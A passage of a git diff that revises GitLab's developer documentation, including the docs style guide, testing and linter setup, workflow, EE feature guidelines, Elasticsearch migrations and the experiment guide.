-the sha256sum (it can be found in the [downloads page](https://www.ruby-lang.org/en/downloads/)
-of the Ruby website).
+we install Ruby from source. To update the guide for a new Ruby version:
-### Configuration documentation for source and Omnibus installations
+- Change the version throughout the code block.
+- Replace the sha256sum. It's available on the
+ [downloads page](https://www.ruby-lang.org/en/downloads/) of the Ruby website.
-GitLab currently officially supports two installation methods: installations
-from source and Omnibus packages installations.
-
-Whenever there's a setting that's configurable for both installation methods,
-the preference is to document it in the CE documentation to avoid duplication.
+### Configuration documentation for source and Omnibus installations
-Configuration settings include:
+GitLab supports two installation methods: installations from source, and Omnibus
+packages. Possible configuration settings include:
- Settings that touch configuration files in `config/`.
-- NGINX settings and settings in `lib/support/` in general.
+- NGINX settings.
+- Other settings in `lib/support/`.
-When you document a list of steps, it may entail editing the configuration file
-and reconfiguring or restarting GitLab. In that case, use these styles:
+Configuration procedures can require users to edit configuration files, reconfigure
+GitLab, or restart GitLab. Use these styles to document these steps, replacing
+`PATH/TO` with the appropriate path:
+
+<!-- vale off -->
````markdown
**For Omnibus installations**
@@ -1949,7 +1869,7 @@ and reconfiguring or restarting GitLab. In that case, use these styles:
external_url "https://gitlab.example.com"
```
-1. Save the file and [reconfigure](path/to/administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
+1. Save the file and [reconfigure](PATH/TO/administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
GitLab for the changes to take effect.
---
@@ -1963,25 +1883,25 @@ and reconfiguring or restarting GitLab. In that case, use these styles:
host: "gitlab.example.com"
```
-1. Save the file and [restart](path/to/administration/restart_gitlab.md#installations-from-source)
+1. Save the file and [restart](PATH/TO/administration/restart_gitlab.md#installations-from-source)
GitLab for the changes to take effect.
````
+<!-- vale on -->
+
In this case:
-- Before each step list the installation method is declared in bold.
-- Three dashes (`---`) are used to create a horizontal line and separate the two
- methods.
-- The code blocks are indented one or more spaces under the list item to render
- correctly.
-- Different highlighting languages are used for each config in the code block.
-- The [GitLab Restart](#gitlab-restart) section is used to explain a required
+- Bold the installation method's name.
+- Separate the methods with three dashes (`---`) to create a horizontal line.
+- Indent the code blocks to line up with the list item they belong to..
+- Use the appropriate syntax highlighting for each code block.
+- Use the [GitLab Restart](#gitlab-restart) section to explain any required
restart or reconfigure of GitLab.
### Troubleshooting
-For troubleshooting sections, you should provide as much context as possible so
-users can identify the problem they are facing and resolve it on their own. You
+For troubleshooting sections, provide as much context as possible so
+users can identify their problem and resolve it on their own. You
can facilitate this by making sure the troubleshooting content addresses:
1. The problem the user needs to solve.
@@ -1989,7 +1909,7 @@ can facilitate this by making sure the troubleshooting content addresses:
1. Steps the user can take towards resolution of the problem.
If the contents of each category can be summarized in one line and a list of
-steps aren't required, consider setting up a [table](#tables) with headers of
+steps aren't required, consider setting up a [table](#tables). Create headers of
_Problem_ \| _Cause_ \| _Solution_ (or _Workaround_ if the fix is temporary), or
_Error message_ \| _Solution_.
diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md
index 043da38d207..d2e3f473532 100644
--- a/doc/development/documentation/testing.md
+++ b/doc/development/documentation/testing.md
@@ -1,40 +1,46 @@
---
stage: none
group: Documentation Guidelines
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: Learn how to contribute to GitLab Documentation.
---
# Documentation testing
-We treat documentation as code, and so use tests in our CI pipeline to maintain the
-standards and quality of the docs. The current tests, which run in CI jobs when a
-merge request with new or changed docs is submitted, are:
-
-- [`docs lint`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L41):
- Runs several tests on the content of the docs themselves:
- - [`lint-doc.sh` script](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/lint-doc.sh)
- runs the following checks and linters:
- - All cURL examples use the long flags (ex: `--header`, not `-H`).
- - The `CHANGELOG.md` does not contain duplicate versions.
- - No files in `doc/` are executable.
- - No new `README.md` was added.
- - [markdownlint](#markdownlint).
- - [Vale](#vale).
- - Nanoc tests:
- - [`internal_links`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L58)
- checks that all internal links (ex: `[link](../index.md)`) are valid.
- - [`internal_anchors`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L60)
- checks that all internal anchors (ex: `[link](../index.md#internal_anchor)`)
- are valid.
- - [`ui-docs-links lint`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L62)
- checks that all links to docs from UI elements (`app/views` files, for example)
- are linking to valid docs and anchors.
+GitLab documentation is stored in projects with code and treated like code. Therefore, we use
+processes similar to those used for code to maintain standards and quality of documentation.
+
+We have tests:
+
+- To lint the words and structure of the documentation.
+- To check the validity of internal links within the documentation suite.
+- To check the validity of links from UI elements, such as files in `app/views` files.
+
+For the specifics of each test run in our CI/CD pipelines, see the configuration for those tests
+in the relevant projects:
+
+- <https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml>
+- <https://gitlab.com/gitlab-org/gitlab-runner/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml>
+- <https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/gitlab-ci-config/gitlab-com.yml>
+- <https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/.gitlab-ci.yml>
## Run tests locally
-Apart from [previewing your changes locally](index.md#previewing-the-changes-live), you can also run all lint checks
-and Nanoc tests locally.
+Similar to [previewing your changes locally](index.md#previewing-the-changes-live), you can also
+run these tests on your local computer. This has the advantage of:
+
+- Speeding up the feedback loop. You can know of any problems with the changes in your branch
+ without waiting for a CI/CD pipeline to run.
+- Lowering costs. Running tests locally is cheaper than running tests on the cloud
+ infrastructure GitLab uses.
+
+To run tests locally, it's important to:
+
+- [Install the tools](#install-linters), and [keep them up to date](#update-linters).
+- Run [linters](#lint-checks), [documentation link tests](#documentation-link-tests), and
+ [UI link tests](#ui-link-tests) the same way they are run in CI/CD pipelines. It's important to use
+ same configuration we use in CI/CD pipelines, which can be different than the default configuration
+ of the tool.
### Lint checks
@@ -66,15 +72,15 @@ The output should be similar to:
This requires you to either:
-- Have the required lint tools installed on your machine.
+- Have the [required lint tools installed](#local-linters) on your computer.
- A working Docker installation, in which case an image with these tools pre-installed is used.
-### Nanoc tests
+### Documentation link tests
-To execute Nanoc tests locally:
+To execute documentation link tests locally:
1. Navigate to the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) directory.
-1. Run:
+1. Run the following commands:
```shell
# Check for broken internal links
@@ -85,7 +91,7 @@ To execute Nanoc tests locally:
bundle exec nanoc check internal_anchors
```
-### `ui-docs-links` test
+### UI link tests
The `ui-docs-links lint` job uses `haml-lint` to test that all links to docs from
UI elements (`app/views` files, for example) are linking to valid docs and anchors.
@@ -100,9 +106,9 @@ To run the `ui-docs-links` test locally:
```
If you receive an error the first time you run this test, run `bundle install`, which
-installs GitLab's dependencies, and try again.
+installs the dependencies for GitLab, and try again.
-If you don't want to install all of GitLab's dependencies to test the links, you can:
+If you don't want to install all of the dependencies to test the links, you can:
1. Open the `gitlab` directory in a terminal window.
1. Install `haml-lint`:
@@ -186,27 +192,34 @@ You can use Vale:
- [In a Git hook](#configure-pre-push-hooks). Vale only reports errors in the Git hook (the same
configuration as the CI/CD pipelines), and does not report suggestions or warnings.
-### Install linters
+#### Vale result types
-At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in
-build pipelines:
+Vale returns three types of results: `suggestion`, `warning`, and `error`:
-1. Install `markdownlint-cli`, using either:
+- **Suggestion**-level results are writing tips and aren't displayed in CI
+ job output. Suggestions don't break CI.
+- **Warning**-level results are [Style Guide](styleguide/index.md) violations, aren't displayed in CI
+ job output, and should contain clear explanations of how to resolve the warning.
+ Warnings may be technical debt, or can be future error-level test items
+ (after the Technical Writing team completes its cleanup). Warnings don't break CI.
+- **Error**-level results are Style Guide violations, and should contain clear explanations
+ about how to resolve the error. Errors break CI and are displayed in CI job output.
+ of how to resolve the error. Errors break CI and are displayed in CI job output.
- - `npm`:
+### Install linters
- ```shell
- npm install -g markdownlint-cli
- ```
+At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in
+build pipelines:
- - `yarn`:
+1. Install `markdownlint-cli`:
- ```shell
- yarn global add markdownlint-cli
- ```
+ ```shell
+ yarn global add markdownlint-cli
+ ```
- We recommend installing the version of `markdownlint-cli` currently used in the documentation
- linting [Docker image](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L420).
+ We recommend installing the version of `markdownlint-cli`
+ [used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447) when building
+ the `image:docs-lint-markdown`.
1. Install [`vale`](https://github.com/errata-ai/vale/releases). For example, to install using
`brew` for macOS, run:
@@ -215,14 +228,29 @@ build pipelines:
brew install vale
```
- We recommend installing the version of Vale currently used in the documentation linting
- [Docker image](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L419).
+These tools can be [integrated with your code editor](#configure-editors).
+
+### Update linters
+
+It's important to use linter versions that are the same or newer than those run in
+CI/CD. This provides access to new features and possible bug fixes.
-In addition to using markdownlint and Vale at the command line, these tools can be
-[integrated with your code editor](#configure-editors).
+To match the versions of `markdownlint-cli` and `vale` used in the GitLab projects, refer to the
+[versions used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447)
+when building the `image:docs-lint-markdown` Docker image containing these tools for CI/CD.
+
+| Tool | Version | Command | Additional information |
+|--------------------|----------|-------------------------------------------|------------------------|
+| `markdownlint-cli` | Latest | `yarn global add markdownlint-cli` | n/a |
+| `markdownlint-cli` | Specfic | `yarn global add markdownlint-cli@0.23.2` | The `@` indicates a specific version, and this example updates the tool to version `0.23.2`. |
+| Vale | Latest | `brew update && brew upgrade vale` | This command is for macOS only. |
+| Vale | Specific | n/a | Not possible using `brew`, but can be [directly downloaded](https://github.com/errata-ai/vale/releases). |
### Configure editors
+Using linters in your editor is more convenient than having to run the commands from the
+command line.
+
To configure markdownlint within your editor, install one of the following as appropriate:
- [Sublime Text](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint)
diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md
index 9bc80116d25..e809ca84707 100644
--- a/doc/development/documentation/workflow.md
+++ b/doc/development/documentation/workflow.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Documentation process
The process for creating and maintaining GitLab product documentation allows
-anyone to contribute a merge request or create an issue for GitLab's
+anyone to contribute a merge request or create an issue for GitLab
documentation.
Documentation updates relating to new features or feature enhancements must
@@ -60,9 +60,9 @@ To update GitLab documentation:
- The [Structure and template](structure.md) page.
- The [Style Guide](styleguide/index.md).
- The [Markdown Guide](https://about.gitlab.com/handbook/markdown-guide/).
-1. Follow GitLab's [Merge Request Guidelines](../contributing/merge_request_workflow.md#merge-request-guidelines).
+1. Follow the [Merge Request Guidelines](../contributing/merge_request_workflow.md#merge-request-guidelines).
-TIP: **Tip:**
+NOTE:
Work in a fork if you do not have Developer access to the GitLab project.
Request help from the Technical Writing team if you:
@@ -79,7 +79,7 @@ To request help:
- If urgent help is required, directly assign the Technical Writer in the issue or in the merge request.
- If non-urgent help is required, ping the Technical Writer in the issue or merge request.
-If you are a member of GitLab's Slack workspace, you can request help in `#docs`.
+If you are a member of the GitLab Slack workspace, you can request help in `#docs`.
### Reviewing and merging
@@ -146,7 +146,7 @@ Remember:
advance of a milestone release and for larger documentation changes.
- You can request a post-merge Technical Writer review of documentation if it's important to get the
code with which it ships merged as soon as possible. In this case, the author of the original MR
- will address the feedback provided by the Technical Writer in a follow-up MR.
+ can address the feedback provided by the Technical Writer in a follow-up MR.
- The Technical Writer can also help decide that documentation can be merged without Technical
writer review, with the review to occur soon after merge.
@@ -154,8 +154,8 @@ Remember:
Ensure the following if skipping an initial Technical Writer review:
-- That [product badges](styleguide/index.md#product-badges) are applied.
-- That the GitLab [version](styleguide/index.md#text-for-documentation-requiring-version-text) that
+- That [product badges](styleguide/index.md#product-tier-badges) are applied.
+- That the GitLab [version](styleguide/index.md#gitlab-versions) that
introduced the feature has been included.
- That changes to headings don't affect in-app hyperlinks.
- Specific [user permissions](../../user/permissions.md) are documented.
diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md
index 26a1e9ec3aa..5be601187ca 100644
--- a/doc/development/ee_features.md
+++ b/doc/development/ee_features.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Guidelines for implementing Enterprise Edition features
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
- **Write the code and the tests.**: As with any code, EE features should have
good test coverage to prevent regressions.
- **Write documentation.**: Add documentation to the `doc/` directory. Describe
- the feature and include screenshots, if applicable. Indicate [what editions](documentation/styleguide/index.md#product-badges)
+ the feature and include screenshots, if applicable. Indicate [what editions](documentation/styleguide/index.md#product-tier-badges)
the feature applies to.
- **Submit a MR to the `www-gitlab-com` project.**: Add the new feature to the
[EE features list](https://about.gitlab.com/features/).
@@ -122,10 +122,10 @@ This is also not just applied to models. Here's a list of other examples:
To test an `EE` namespaced module that extends a CE class with EE features,
create the spec file as you normally would in the `ee/spec` directory, including the second `ee/` subdirectory.
-For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/app/models/ee/user_spec.rb`.
+For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/spec/models/ee/user_spec.rb`.
In the `RSpec.describe` call, use the CE class name where the EE module would be used.
-For example, in `ee/app/models/ee/user_spec.rb`, the test would start with:
+For example, in `ee/spec/models/ee/user_spec.rb`, the test would start with:
```ruby
RSpec.describe User do
@@ -143,7 +143,7 @@ There are a few gotchas with it:
- you should always [`extend ::Gitlab::Utils::Override`](utilities.md#override) and use `override` to
guard the "overrider" method to ensure that if the method gets renamed in
- CE, the EE override won't be silently forgotten.
+ CE, the EE override isn't silently forgotten.
- when the "overrider" would add a line in the middle of the CE
implementation, you should refactor the CE method and split it in
smaller methods. Or create a "hook" method that is empty in CE,
@@ -284,7 +284,7 @@ wrap it in a self-descriptive method and use that method.
For example, in GitLab-FOSS, the only user created by the system is `User.ghost`
but in EE there are several types of bot-users that aren't really users. It would
be incorrect to override the implementation of `User#ghost?`, so instead we add
-a method `#internal?` to `app/models/user.rb`. The implementation will be:
+a method `#internal?` to `app/models/user.rb`. The implementation:
```ruby
def internal?
@@ -303,13 +303,13 @@ end
### Code in `config/routes`
-When we add `draw :admin` in `config/routes.rb`, the application will try to
+When we add `draw :admin` in `config/routes.rb`, the application tries to
load the file located in `config/routes/admin.rb`, and also try to load the
file located in `ee/config/routes/admin.rb`.
In EE, it should at least load one file, at most two files. If it cannot find
-any files, an error will be raised. In CE, since we don't know if there will
-be an EE route, it will not raise any errors even if it cannot find anything.
+any files, an error is raised. In CE, since we don't know if an
+an EE route exists, it doesn't raise any errors even if it cannot find anything.
This means if we want to extend a particular CE route file, just add the same
file located in `ee/config/routes`. If we want to add an EE only route, we
@@ -467,7 +467,7 @@ end
#### Using `render_if_exists`
Instead of using regular `render`, we should use `render_if_exists`, which
-will not render anything if it cannot find the specific partial. We use this
+doesn't render anything if it cannot find the specific partial. We use this
so that we could put `render_if_exists` in CE, keeping code the same between
CE and EE.
@@ -482,7 +482,7 @@ The disadvantage of this:
##### Caveats
The `render_if_exists` view path argument must be relative to `app/views/` and `ee/app/views`.
-Resolving an EE template path that is relative to the CE view path will not work.
+Resolving an EE template path that is relative to the CE view path doesn't work.
```haml
- # app/views/projects/index.html.haml
@@ -577,7 +577,7 @@ We can define `params` and use `use` in another `params` definition to
include parameters defined in EE. However, we need to define the "interface" first
in CE in order for EE to override it. We don't have to do this in other places
due to `prepend_if_ee`, but Grape is complex internally and we couldn't easily
-do that, so we'll follow regular object-oriented practices that we define the
+do that, so we follow regular object-oriented practices that we define the
interface first here.
For example, suppose we have a few more optional parameters for EE. We can move the
@@ -738,7 +738,7 @@ end
It's very hard to extend this in an EE module, and this is simply storing
some meta-data for a particular route. Given that, we could simply leave the
-EE `route_setting` in CE as it won't hurt and we are just not going to use
+EE `route_setting` in CE as it doesn't hurt and we don't use
those meta-data in CE.
We could revisit this policy when we're using `route_setting` more and whether
@@ -1039,7 +1039,7 @@ export default {
`import MyComponent from 'ee_else_ce/path/my_component'.vue`
-- this way the correct component will be included for either the ce or ee implementation
+- this way the correct component is included for either the CE or EE implementation
**For EE components that need different results for the same computed values, we can pass in props to the CE wrapper as seen in the example.**
@@ -1053,7 +1053,7 @@ export default {
For regular JS files, the approach is similar.
-1. We will keep using the [`ee_else_ce`](../development/ee_features.md#javascript-code-in-assetsjavascripts) helper, this means that EE only code should be inside the `ee/` folder.
+1. We keep using the [`ee_else_ce`](../development/ee_features.md#javascript-code-in-assetsjavascripts) helper, this means that EE only code should be inside the `ee/` folder.
1. An EE file should be created with the EE only code, and it should extend the CE counterpart.
1. For code inside functions that can't be extended, the code should be moved into a new file and we should use `ee_else_ce` helper:
diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md
index cde221aaf16..1c92601dde9 100644
--- a/doc/development/elasticsearch.md
+++ b/doc/development/elasticsearch.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Global Search
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Elasticsearch knowledge **(STARTER ONLY)**
@@ -13,9 +13,9 @@ the [Elasticsearch integration documentation](../integration/elasticsearch.md#en
## Deep Dive
-In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab's [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction.
+In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on the GitLab [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction.
-In August 2020, a second Deep Dive was hosted, focusing on [GitLab's specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive) are available. Everything covered in this deep dive was accurate as of GitLab 13.3.
+In August 2020, a second Deep Dive was hosted, focusing on [GitLab-specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive/) are available. Everything covered in this deep dive was accurate as of GitLab 13.3.
## Supported Versions
@@ -68,7 +68,7 @@ The `whitespace` tokenizer was selected in order to have more control over how t
Please see the `code` filter for an explanation on how tokens are split.
-NOTE: **Note:**
+NOTE:
Currently the [Elasticsearch code_analyzer doesn't account for all code cases](../integration/elasticsearch.md#known-issues).
#### `code_search_analyzer`
@@ -119,7 +119,7 @@ Patterns:
- `'"((?:\\"|[^"]|\\")*)"'`: captures terms inside quotes, removing the quotes
- `"'((?:\\'|[^']|\\')*)'"`: same as above, for single-quotes
- `'\.([^.]+)(?=\.|\s|\Z)'`: separate terms with periods in-between
-- `'([\p{L}_.-]+)'`: some common chars in file names to keep the whole filename intact (eg. `my_file-ñame.txt`)
+- `'([\p{L}_.-]+)'`: some common chars in file names to keep the whole filename intact (for example `my_file-ñame.txt`)
- `'([\p{L}\d_]+)'`: letters, numbers and underscores are the most common tokens in programming. Always capture them greedily regardless of context.
## Gotchas
@@ -129,7 +129,7 @@ Patterns:
## Zero downtime reindexing with multiple indices
-NOTE: **Note:**
+NOTE:
This is not applicable yet as multiple indices functionality is not fully implemented.
Currently GitLab can only handle a single version of setting. Any setting/schema changes would require reindexing everything from scratch. Since reindexing can take a long time, this can cause search functionality downtime.
@@ -168,12 +168,12 @@ The global configurations per version are now in the `Elastic::(Version)::Config
### Creating new version of schema
-NOTE: **Note:**
+NOTE:
This is not applicable yet as multiple indices functionality is not fully implemented.
Folders like `ee/lib/elastic/v12p1` contain snapshots of search logic from different versions. To keep a continuous Git history, the latest version lives under `ee/lib/elastic/latest`, but its classes are aliased under an actual version (e.g. `ee/lib/elastic/v12p3`). When referencing these classes, never use the `Latest` namespace directly, but use the actual version (e.g. `V12p3`).
-The version name basically follows GitLab's release version. If setting is changed in 12.3, we will create a new namespace called `V12p3` (p stands for "point"). Raise an issue if there is a need to name a version differently.
+The version name basically follows the GitLab release version. If setting is changed in 12.3, we will create a new namespace called `V12p3` (p stands for "point"). Raise an issue if there is a need to name a version differently.
If the current version is `v12p1`, and we need to create a new version for `v12p3`, the steps are as follows:
@@ -188,11 +188,11 @@ If the current version is `v12p1`, and we need to create a new version for `v12p
> This functionality was introduced by [#234046](https://gitlab.com/gitlab-org/gitlab/-/issues/234046).
-NOTE: **Note:**
+NOTE:
This only supported for indices created with GitLab 13.0 or greater.
Migrations are stored in the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder with `YYYYMMDDHHMMSS_migration_name.rb`
-file name format, which is similar to Rails database migrations:
+filename format, which is similar to Rails database migrations:
```ruby
# frozen_string_literal: true
@@ -216,6 +216,29 @@ cron worker sequentially.
Any update to the Elastic index mappings should be replicated in [`Elastic::Latest::Config`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb).
+### Migration options supported by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb)
+
+- `batched!` - Allow the migration to run in batches. If set, the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb)
+will re-enqueue itself with a delay which is set using the `throttle_delay` option described below. The batching
+must be handled within the `migrate` method, this setting controls the re-enqueuing only.
+
+- `throttle_delay` - Sets the wait time in between batch runs. This time should be set high enough to allow each migration batch
+enough time to finish. Additionally, the time should be less than 30 minutes since that is how often the
+[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb)
+cron worker runs. Default value is 5 minutes.
+
+```ruby
+# frozen_string_literal: true
+
+class BatchedMigrationName < Elastic::Migration
+ # Declares a migration should be run in batches
+ batched!
+ throttle_delay 10.minutes
+
+ # ...
+end
+```
+
## Performance Monitoring
### Prometheus
diff --git a/doc/development/emails.md b/doc/development/emails.md
index 4b43bff0e02..0b1f3c5b74c 100644
--- a/doc/development/emails.md
+++ b/doc/development/emails.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dealing with email in development
@@ -83,7 +83,7 @@ See the [Rails guides](https://guides.rubyonrails.org/action_mailer_basics.html#
expunge_deleted: false
```
- As mentioned, the part after `+` is ignored, and this will end up in the mailbox for `gitlab-incoming@gmail.com`.
+ As mentioned, the part after `+` is ignored, and this message is sent to the mailbox for `gitlab-incoming@gmail.com`.
1. Run this command in the GitLab root directory to launch `mail_room`:
diff --git a/doc/development/event_tracking/backend.md b/doc/development/event_tracking/backend.md
index 79ea80a52ea..24e83ffc524 100644
--- a/doc/development/event_tracking/backend.md
+++ b/doc/development/event_tracking/backend.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md'
---
This document was moved to [another location](../product_analytics/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/event_tracking/frontend.md b/doc/development/event_tracking/frontend.md
index 79ea80a52ea..24e83ffc524 100644
--- a/doc/development/event_tracking/frontend.md
+++ b/doc/development/event_tracking/frontend.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md'
---
This document was moved to [another location](../product_analytics/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/event_tracking/index.md b/doc/development/event_tracking/index.md
index 79ea80a52ea..24e83ffc524 100644
--- a/doc/development/event_tracking/index.md
+++ b/doc/development/event_tracking/index.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md'
---
This document was moved to [another location](../product_analytics/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md
index 3b2f1d21463..35cd55b199c 100644
--- a/doc/development/experiment_guide/index.md
+++ b/doc/development/experiment_guide/index.md
@@ -1,22 +1,22 @@
---
stage: Growth
group: Activation
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Experiment Guide
-Experiments can be conducted by any GitLab team, most often the teams from the [Growth Sub-department](https://about.gitlab.com/handbook/engineering/development/growth/). Experiments are not tied to releases because they will primarily target GitLab.com.
+Experiments can be conducted by any GitLab team, most often the teams from the [Growth Sub-department](https://about.gitlab.com/handbook/engineering/development/growth/). Experiments are not tied to releases because they primarily target GitLab.com.
-Experiments will be run as an A/B test and will be behind a feature flag to turn the test on or off. Based on the data the experiment generates, the team will decide if the experiment had a positive impact and will be the new default or rolled back.
+Experiments are run as an A/B test and are behind a feature flag to turn the test on or off. Based on the data the experiment generates, the team decides if the experiment had a positive impact and should be made the new default or rolled back.
## Experiment tracking issue
Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future).
After the deadline, the issue needs to be resolved and either:
-- It was successful and the experiment will be the new default.
-- It was not successful and all code related to the experiment will be removed.
+- It was successful and the experiment becomes the new default.
+- It was not successful and all code related to the experiment is removed.
In either case, an outcome of the experiment should be posted to the issue with the reasoning for the decision.
@@ -25,7 +25,7 @@ In either case, an outcome of the experiment should be posted to the issue with
Experiments' code quality can fail our standards for several reasons. These
reasons can include not being added to the codebase for a long time, or because
of fast iteration to retrieve data. However, having the experiment run (or not
-run) shouldn't impact GitLab's availability. To avoid or identify issues,
+run) shouldn't impact GitLab availability. To avoid or identify issues,
experiments are initially deployed to a small number of users. Regardless,
experiments still need tests.
@@ -49,7 +49,6 @@ addressed.
},
# Add your experiment here:
signup_flow: {
- environment: ::Gitlab.dev_env_or_com?, # Target environment, defaults to enabled for development and GitLab.com
tracking_category: 'Growth::Activation::Experiment::SignUpFlow' # Used for providing the category when setting up tracking data
}
}.freeze
@@ -57,59 +56,90 @@ addressed.
1. Use the experiment in the code.
+ Experiments can be performed on a `subject`. The `subject` that gets provided needs to respond to `to_global_id` or `to_s`.
+ The resulting string is bucketed and assigned to either the control or the experimental group. It's therefore necessary to always provide the same `subject` for an experiment to have the same experience.
+
- Use this standard for the experiment in a controller:
- ```ruby
- class RegistrationController < ApplicationController
+ Experiment run for a user:
+
+ ```ruby
